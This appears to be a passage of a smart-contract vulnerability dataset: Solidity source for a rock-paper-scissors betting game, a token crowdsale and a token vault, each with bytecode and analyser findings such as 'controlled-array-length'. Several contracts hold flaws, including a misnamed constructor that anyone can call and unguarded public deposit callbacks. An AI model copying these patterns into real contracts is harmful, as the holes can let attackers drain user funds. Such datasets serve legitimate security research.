pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract AccessControl is SafeMath{ /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; address newContractAddress; uint public tip_total = 0; uint public tip_rate = 20000000000000000; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } function () public payable{ tip_total = safeAdd(tip_total, msg.value); } /// @dev Count amount with tip. /// @param amount The totalAmount function amountWithTip(uint amount) internal returns(uint){ uint tip = safeMul(amount, tip_rate) / (1 ether); tip_total = safeAdd(tip_total, tip); return safeSub(amount, tip); } /// @dev Withdraw Tip. function withdrawTip(uint amount) external onlyCFO { require(amount > 0 && amount <= tip_total); require(msg.sender.send(amount)); tip_total = tip_total - amount; } // updgrade function setNewAddress(address newContract) external onlyCEO whenPaused { newContractAddress = newContract; emit ContractUpgrade(newContract); } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } contract RpsGame is SafeMath , AccessControl{ /// @dev Constant definition uint8 constant public NONE = 0; uint8 constant public ROCK = 10; uint8 constant public PAPER = 20; uint8 constant public SCISSORS = 30; uint8 constant public DEALERWIN = 201; uint8 constant public PLAYERWIN = 102; uint8 constant public DRAW = 101; /// @dev Emited when contract is upgraded - See README.md for updgrade plan event CreateGame(uint gameid, address dealer, uint amount); event JoinGame(uint gameid, address player, uint amount); event Reveal(uint gameid, address player, uint8 choice); event CloseGame(uint gameid,address dealer,address player, uint8 result); /// @dev struct of a game struct Game { uint expireTime; address dealer; uint dealerValue; bytes32 dealerHash; uint8 dealerChoice; address player; uint8 playerChoice; uint playerValue; uint8 result; bool closed; } /// @dev struct of a game mapping (uint => mapping(uint => uint8)) public payoff; mapping (uint => Game) public games; mapping (address => uint[]) public gameidsOf; /// @dev Current game maximum id uint public maxgame = 0; uint public expireTimeLimit = 30 minutes; /// @dev Initialization contract function RpsGame() { payoff[ROCK][ROCK] = DRAW; payoff[ROCK][PAPER] = PLAYERWIN; payoff[ROCK][SCISSORS] = DEALERWIN; payoff[PAPER][ROCK] = DEALERWIN; payoff[PAPER][PAPER] = DRAW; payoff[PAPER][SCISSORS] = PLAYERWIN; payoff[SCISSORS][ROCK] = PLAYERWIN; payoff[SCISSORS][PAPER] = DEALERWIN; payoff[SCISSORS][SCISSORS] = DRAW; payoff[NONE][NONE] = DRAW; payoff[ROCK][NONE] = DEALERWIN; payoff[PAPER][NONE] = DEALERWIN; payoff[SCISSORS][NONE] = DEALERWIN; payoff[NONE][ROCK] = PLAYERWIN; payoff[NONE][PAPER] = PLAYERWIN; payoff[NONE][SCISSORS] = PLAYERWIN; ceoAddress = msg.sender; cooAddress = msg.sender; cfoAddress = msg.sender; } /// @dev Create a game function createGame(bytes32 dealerHash, address player) public payable whenNotPaused returns (uint){ require(dealerHash != 0x0); maxgame += 1; Game storage game = games[maxgame]; game.dealer = msg.sender; game.player = player; game.dealerHash = dealerHash; game.dealerChoice = NONE; game.dealerValue = msg.value; game.expireTime = expireTimeLimit + now; gameidsOf[msg.sender].push(maxgame); emit CreateGame(maxgame, game.dealer, game.dealerValue); return maxgame; } /// @dev Join a game function joinGame(uint gameid, uint8 choice) public payable whenNotPaused returns (uint){ Game storage game = games[gameid]; require(msg.value == game.dealerValue && game.dealer != address(0) && game.dealer != msg.sender && game.playerChoice==NONE); require(game.player == address(0) || game.player == msg.sender); require(!game.closed); require(now < game.expireTime); require(checkChoice(choice)); game.player = msg.sender; game.playerChoice = choice; game.playerValue = msg.value; game.expireTime = expireTimeLimit + now; gameidsOf[msg.sender].push(gameid); emit JoinGame(gameid, game.player, game.playerValue); return gameid; } /// @dev Creator reveals game choice function reveal(uint gameid, uint8 choice, bytes32 randomSecret) public returns (bool) { Game storage game = games[gameid]; bytes32 proof = getProof(msg.sender, choice, randomSecret); require(!game.closed); require(now < game.expireTime); require(game.dealerHash != 0x0); require(checkChoice(choice)); require(checkChoice(game.playerChoice)); require(game.dealer == msg.sender && proof == game.dealerHash ); game.dealerChoice = choice; Reveal(gameid, msg.sender, choice); close(gameid); return true; } /// @dev Close game settlement rewards function close(uint gameid) public returns(bool) { Game storage game = games[gameid]; require(!game.closed); require(now > game.expireTime || (game.dealerChoice != NONE && game.playerChoice != NONE)); uint totalAmount = safeAdd(game.dealerValue, game.playerValue); uint reward = amountWithTip(totalAmount); uint8 result = payoff[game.dealerChoice][game.playerChoice]; if(result == DEALERWIN){ require(game.dealer.send(reward)); }else if(result == PLAYERWIN){ require(game.player.send(reward)); }else if(result == DRAW){ require(game.dealer.send(game.dealerValue) && game.player.send(game.playerValue)); } game.closed = true; game.result = result; emit CloseGame(gameid, game.dealer, game.player, result); return game.closed; } function getProof(address sender, uint8 choice, bytes32 randomSecret) public view returns (bytes32){ return sha3(sender, choice, randomSecret); } function gameCountOf(address owner) public view returns (uint){ return gameidsOf[owner].length; } function checkChoice(uint8 choice) public view returns (bool){ return choice==ROCK||choice==PAPER||choice==SCISSORS; } }
0x6080604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630519ce7981146101a65780630a0f8168146101d75780630aebeb4e146101ec578063117a5b901461021857806313ffdbfc1461029757806327d7874c146102ca5780632ba73c15146102ed578063366f77b71461030e5780633f4ba83a146103295780634811647c1461033e5780634e0a3379146103565780634f11e07d14610377578063556665db146103a15780635c975abb146103b6578063619d36ef146103cb57806371587988146103f657806383525394146104175780638456cb591461042c57806385df508f14610441578063960be374146104565780639a42f3aa14610471578063b047fb5014610492578063b357a028146104a7578063b93e0e39146104bc578063c44d6f87146104d1578063c89605a2146104e6578063ca6649c5146104fb578063d5a093211461050c578063df5a141714610530578063e38c982514610545578063fc26d5221461055a578063fe1f6a0b1461056f575b6101a160045434610586565b600455005b3480156101b257600080fd5b506101bb6105aa565b60408051600160a060020a039092168252519081900360200190f35b3480156101e357600080fd5b506101bb6105b9565b3480156101f857600080fd5b506102046004356105c8565b604080519115158252519081900360200190f35b34801561022457600080fd5b5061023060043561081e565b604080519a8b52600160a060020a03998a1660208c01528a81019890985260608a019690965260ff94851660808a01529290961660a0880152821660c087015260e08601949094529290921661010084015290151561012083015251908190036101400190f35b3480156102a357600080fd5b506102b8600160a060020a0360043516610885565b60408051918252519081900360200190f35b3480156102d657600080fd5b506102eb600160a060020a03600435166108a0565b005b3480156102f957600080fd5b506102eb600160a060020a03600435166108fb565b34801561031a57600080fd5b5061020460ff60043516610956565b34801561033557600080fd5b506102eb610981565b34801561034a57600080fd5b506102eb6004356109b5565b34801561036257600080fd5b506102eb600160a060020a0360043516610a1c565b34801561038357600080fd5b506102b8600160a060020a036004351660ff60243516604435610a77565b3480156103ad57600080fd5b506102b8610ada565b3480156103c257600080fd5b50610204610ae0565b3480156103d757600080fd5b506103e0610ae9565b6040805160ff9092168252519081900360200190f35b34801561040257600080fd5b506102eb600160a060020a0360043516610aee565b34801561042357600080fd5b506103e0610b77565b34801561043857600080fd5b506102eb610b7c565b34801561044d57600080fd5b506102b8610bde565b34801561046257600080fd5b506103e0600435602435610be4565b34801561047d57600080fd5b5061020460043560ff60243516604435610c04565b34801561049e57600080fd5b506101bb610d20565b3480156104b357600080fd5b506103e0610d2f565b3480156104c857600080fd5b506103e0610d34565b3480156104dd57600080fd5b506103e0610d39565b3480156104f257600080fd5b506103e0610d3e565b6102b860043560ff60243516610d43565b34801561051857600080fd5b506102b8600160a060020a0360043516602435610f14565b34801561053c57600080fd5b506103e0610f44565b34801561055157600080fd5b506102b8610f49565b34801561056657600080fd5b506102b8610f4f565b6102b8600435600160a060020a0360243516610f55565b60008282016105a384821080159061059e5750838210155b61107d565b9392505050565b600154600160a060020a031681565b600054600160a060020a031681565b60008181526008602052604081206006810154829081908190610100900460ff16156105f357600080fd5b83544211806106205750600484015460ff16158015906106205750600484015460a860020a900460ff1615155b151561062b57600080fd5b61063d84600201548560050154610586565b92506106488361108c565b600485015460ff808216600090815260076020908152604080832060a860020a90950484168352939052919091205491935016905060c98114156106c1576001840154604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015156106bc57600080fd5b610788565b60ff811660661415610707576004840154604051610100909104600160a060020a0316906108fc8415029084906000818181858888f1935050505015156106bc57600080fd5b60ff8116606514156107885760018401546002850154604051600160a060020a039092169181156108fc0291906000818181858888f19350505050801561077d575060048401546005850154604051610100909204600160a060020a0316916108fc82150291906000818181858888f193505050505b151561078857600080fd5b60068401805461010061ff0019909116811760ff191660ff841690811790925560018601546004870154604080518b8152600160a060020a0393841660208201529390910490911682820152606082019290925290517f1d0c2a9773403f89727475495023df0d7c76f947c60bd5236fbd1c319768a58c916080908290030190a150505060060154610100900460ff1692915050565b60086020526000908152604090208054600182015460028301546003840154600485015460058601546006909601549495600160a060020a03948516959394929360ff808416946101008086049091169460a860020a90048216939280831692919004168a565b600160a060020a031660009081526009602052604090205490565b600054600160a060020a031633146108b757600080fd5b600160a060020a03811615156108cc57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461091257600080fd5b600160a060020a038116151561092757600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060ff8216600a148061096d575060ff82166014145b8061097b575060ff8216601e145b92915050565b600054600160a060020a0316331461099857600080fd5b60065460ff1615156109a957600080fd5b6006805460ff19169055565b600154600160a060020a031633146109cc57600080fd5b6000811180156109de57506004548111155b15156109e957600080fd5b604051339082156108fc029083906000818181858888f193505050501515610a1057600080fd5b60048054919091039055565b600054600160a060020a03163314610a3357600080fd5b600160a060020a0381161515610a4857600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604080516c01000000000000000000000000600160a060020a0386160281527f010000000000000000000000000000000000000000000000000000000000000060ff85160260148201526015810183905290519081900360350190209392505050565b600b5481565b60065460ff1681565b606581565b600054600160a060020a03163314610b0557600080fd5b60065460ff161515610b1657600080fd5b60038054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f450db8da6efbe9c22f2347f7c2021231df1fc58d3ae9a2fa75d39fa4461993059181900360200190a150565b600081565b600254600160a060020a0316331480610b9f5750600054600160a060020a031633145b80610bb45750600154600160a060020a031633145b1515610bbf57600080fd5b60065460ff1615610bcf57600080fd5b6006805460ff19166001179055565b60055481565b600760209081526000928352604080842090915290825290205460ff1681565b600083815260086020526040812081610c1e338686610a77565b6006830154909150610100900460ff1615610c3857600080fd5b81544210610c4557600080fd5b60038201541515610c5557600080fd5b610c5e85610956565b1515610c6957600080fd5b6004820154610c819060a860020a900460ff16610956565b1515610c8c57600080fd5b6001820154600160a060020a031633148015610cab5750600382015481145b1515610cb657600080fd5b60048201805460ff871660ff1990911681179091556040805188815233602082015280820192909252517fc68416cfb4fec2fce79abcfa27c33ba8c9a63168b3b70d1cd3449b4a973465a89181900360600190a1610d13866105c8565b5060019695505050505050565b600254600160a060020a031681565b601e81565b600a81565b601481565b60c981565b600654600090819060ff1615610d5857600080fd5b506000838152600860205260409020600281015434148015610d8657506001810154600160a060020a031615155b8015610d9f57506001810154600160a060020a03163314155b8015610db75750600481015460a860020a900460ff16155b1515610dc257600080fd5b60048101546101009004600160a060020a03161580610df2575060048101546101009004600160a060020a031633145b1515610dfd57600080fd5b6006810154610100900460ff1615610e1457600080fd5b80544210610e2157600080fd5b610e2a83610956565b1515610e3557600080fd5b60048101805474ffffffffffffffffffffffffffffffffffffffff001916336101008181029290921775ff000000000000000000000000000000000000000000191660a860020a60ff8816021783553460058501908155600b54420185556000918252600960209081526040808420805460018101825590855293829020909301899055935490548251898152600160a060020a0394909204939093169381019390935282810191909152517ff66778a71ad05be3533189f52b3685653815adca5f24272e139571b8e1892f5e916060908290030190a1509192915050565b600960205281600052604060002081815481101515610f2f57fe5b90600052602060002001600091509150505481565b606681565b600a5481565b60045481565b600654600090819060ff1615610f6a57600080fd5b831515610f7657600080fd5b50600a805460019081018083556000908152600860209081526040808320808501805473ffffffffffffffffffffffffffffffffffffffff1916339081178255600483018054600385018d905560ff19600160a060020a038d81166101000274ffffffffffffffffffffffffffffffffffffffff001990931692909217169091553460028501908155600b54420185559187526009865284872089548154998a018255908852968690209097019590955595549554935482519687529390941691850191909152838101919091525190917f0ce7f8d8c912a77f9715dfadc24c9fccf69eeb30c5bf53f068a0f9756d2b408a919081900360600190a15050600a5492915050565b80151561108957600080fd5b50565b600080670de0b6b3a76400006110a4846005546110c9565b8115156110ad57fe5b0490506110bc60045482610586565b6004556105a383826110ec565b60008282026105a384158061059e57508385838115156110e557fe5b041461107d565b60006110fa8383111561107d565b509003905600a165627a7a7230582093359c3ec18ea4ffd3dc2a88b3b74cc205a11d1117c5fd8a4ed1140c212bccf60029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,893
0x1ac2c16822d26ea7df468de7f241d040d035f1a3
pragma solidity ^0.4.15; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract TestaryToken is MintableToken { string public constant name = "Testary"; string public constant symbol = "TTRY"; uint32 public constant decimals = 18; } contract Testary is Ownable { using SafeMath for uint; TestaryToken public token = new TestaryToken(); address eth_addr; uint start_ico; uint period; uint hardcap; uint rate; function Crowdsale() { eth_addr = 0x785862CEBCEcE601c6E1f79315c9320A6721Ea92; rate = 500e18; start_ico = 1522591701; period = 30; hardcap = 500 ether; } modifier saleIsOn() { require(now > start_ico && now < start_ico + period * 1 days); _; } modifier isUnderHardCap() { require(eth_addr.balance <= hardcap); _; } function finishMinting() public onlyOwner { token.finishMinting(); } function createTokens() isUnderHardCap saleIsOn payable { eth_addr.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start_ico + (period * 1 days).div(3)) { bonusTokens = tokens.div(5); } else { bonusTokens = 0; } tokens += bonusTokens; token.mint(msg.sender, tokens); } function() payable { createTokens(); } }
0x60606040523615610076576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637d64bcb4146100825780638da5cb5b14610097578063b4427263146100ec578063f2fde38b146100f6578063fb6bbbce1461012f578063fc0c546a14610144575b5b61007f610199565b5b005b341561008d57600080fd5b6100956103de565b005b34156100a257600080fd5b6100aa6104e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f4610199565b005b341561010157600080fd5b61012d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061050c565b005b341561013a57600080fd5b6101426105e8565b005b341561014f57600080fd5b610157610673565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600554600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631111515156101e657600080fd5b60035442118015610201575062015180600454026003540142105b151561020c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561026e57600080fd5b61029d670de0b6b3a764000061028f3460065461069990919063ffffffff16565b6106cd90919063ffffffff16565b9150600090506102be600362015180600454026106cd90919063ffffffff16565b600354014210156102e4576102dd6005836106cd90919063ffffffff16565b90506102e9565b600090505b8082019150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156103bb57600080fd5b6102c65a03f115156103cc57600080fd5b50505060405180519050505b5b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561043957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104c757600080fd5b6102c65a03f115156104d857600080fd5b50505060405180519050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105a357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b73785862cebcece601c6e1f79315c9320a6721ea92600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550681b1ae4d6e2ef500000600681905550635ac0e7d5600381905550601e600481905550681b1ae4d6e2ef5000006005819055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806106ba57508284828115156106b757fe5b04145b15156106c257fe5b8091505b5092915050565b60008082848115156106db57fe5b0490508091505b50929150505600a165627a7a7230582063791580c1d8c00cee2041d522c9ad0d59802020128410f7c8bacef64bae58370029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,894
0x54b0de285c15d27b0daa687bcbf40cea68b2807f
pragma solidity ^0.4.21; interface VaultInterface { event Deposited(address indexed user, address token, uint amount); event Withdrawn(address indexed user, address token, uint amount); event Approved(address indexed user, address indexed spender); event Unapproved(address indexed user, address indexed spender); event AddedSpender(address indexed spender); event RemovedSpender(address indexed spender); function deposit(address token, uint amount) external payable; function withdraw(address token, uint amount) external; function transfer(address token, address from, address to, uint amount) external; function approve(address spender) external; function unapprove(address spender) external; function isApproved(address user, address spender) external view returns (bool); function addSpender(address spender) external; function removeSpender(address spender) external; function latestSpender() external view returns (address); function isSpender(address spender) external view returns (bool); function tokenFallback(address from, uint value, bytes data) public; function balanceOf(address token, address user) public view returns (uint); } interface ERC820 { function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public; } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } contract Ownable { address public owner; modifier onlyOwner { require(isOwner(msg.sender)); _; } function Ownable() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } function isOwner(address _address) public view returns (bool) { return owner == _address; } } interface ERC20 { function totalSupply() public view returns (uint); function balanceOf(address owner) public view returns (uint); function allowance(address owner, address spender) public view returns (uint); function transfer(address to, uint value) public returns (bool); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); } interface ERC777 { function name() public constant returns (string); function symbol() public constant returns (string); function totalSupply() public constant returns (uint256); function granularity() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256); function send(address to, uint256 amount) public; function send(address to, uint256 amount, bytes userData) public; function authorizeOperator(address operator) public; function revokeOperator(address operator) public; function isOperatorFor(address operator, address tokenHolder) public constant returns (bool); function operatorSend(address from, address to, uint256 amount, bytes userData, bytes operatorData) public; } contract Vault is Ownable, VaultInterface { using SafeMath for *; address constant public ETH = 0x0; mapping (address => bool) public isERC777; // user => spender => approved mapping (address => mapping (address => bool)) private approved; mapping (address => mapping (address => uint)) private balances; mapping (address => uint) private accounted; mapping (address => bool) private spenders; address private latest; modifier onlySpender { require(spenders[msg.sender]); _; } modifier onlyApproved(address user) { require(approved[user][msg.sender]); _; } function Vault(ERC820 registry) public { // required by ERC777 standard. registry.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /// @dev Deposits a specific token. /// @param token Address of the token to deposit. /// @param amount Amount of tokens to deposit. function deposit(address token, uint amount) external payable { require(token == ETH || msg.value == 0); uint value = amount; if (token == ETH) { value = msg.value; } else { require(ERC20(token).transferFrom(msg.sender, address(this), value)); } depositFor(msg.sender, token, value); } /// @dev Withdraws a specific token. /// @param token Address of the token to withdraw. /// @param amount Amount of tokens to withdraw. function withdraw(address token, uint amount) external { require(balanceOf(token, msg.sender) >= amount); balances[token][msg.sender] = balances[token][msg.sender].sub(amount); accounted[token] = accounted[token].sub(amount); withdrawTo(msg.sender, token, amount); emit Withdrawn(msg.sender, token, amount); } /// @dev Approves an spender to trade balances of the sender. /// @param spender Address of the spender to approve. function approve(address spender) external { require(spenders[spender]); approved[msg.sender][spender] = true; emit Approved(msg.sender, spender); } /// @dev Unapproves an spender to trade balances of the sender. /// @param spender Address of the spender to unapprove. function unapprove(address spender) external { approved[msg.sender][spender] = false; emit Unapproved(msg.sender, spender); } /// @dev Adds a spender. /// @param spender Address of the spender. function addSpender(address spender) external onlyOwner { require(spender != 0x0); spenders[spender] = true; latest = spender; emit AddedSpender(spender); } /// @dev Removes a spender. /// @param spender Address of the spender. function removeSpender(address spender) external onlyOwner { spenders[spender] = false; emit RemovedSpender(spender); } /// @dev Transfers balances of a token between users. /// @param token Address of the token to transfer. /// @param from Address of the user to transfer tokens from. /// @param to Address of the user to transfer tokens to. /// @param amount Amount of tokens to transfer. function transfer(address token, address from, address to, uint amount) external onlySpender onlyApproved(from) { // We do not check the balance here, as SafeMath will revert if sub / add fail. Due to over/underflows. require(amount > 0); balances[token][from] = balances[token][from].sub(amount); balances[token][to] = balances[token][to].add(amount); } /// @dev Returns if an spender has been approved by a user. /// @param user Address of the user. /// @param spender Address of the spender. /// @return Boolean whether spender has been approved. function isApproved(address user, address spender) external view returns (bool) { return approved[user][spender]; } /// @dev Returns if an address has been approved as a spender. /// @param spender Address of the spender. /// @return Boolean whether spender has been approved. function isSpender(address spender) external view returns (bool) { return spenders[spender]; } function latestSpender() external view returns (address) { return latest; } function tokenFallback(address from, uint value, bytes) public { depositFor(from, msg.sender, value); } function tokensReceived(address, address from, address, uint amount, bytes, bytes) public { if (!isERC777[msg.sender]) { isERC777[msg.sender] = true; } depositFor(from, msg.sender, amount); } /// @dev Marks a token as an ERC777 token. /// @param token Address of the token. function setERC777(address token) public onlyOwner { isERC777[token] = true; } /// @dev Unmarks a token as an ERC777 token. /// @param token Address of the token. function unsetERC777(address token) public onlyOwner { isERC777[token] = false; } /// @dev Allows owner to withdraw tokens accidentally sent to the contract. /// @param token Address of the token to withdraw. function withdrawOverflow(address token) public onlyOwner { withdrawTo(msg.sender, token, overflow(token)); } /// @dev Returns the balance of a user for a specified token. /// @param token Address of the token. /// @param user Address of the user. /// @return Balance for the user. function balanceOf(address token, address user) public view returns (uint) { return balances[token][user]; } /// @dev Calculates how many 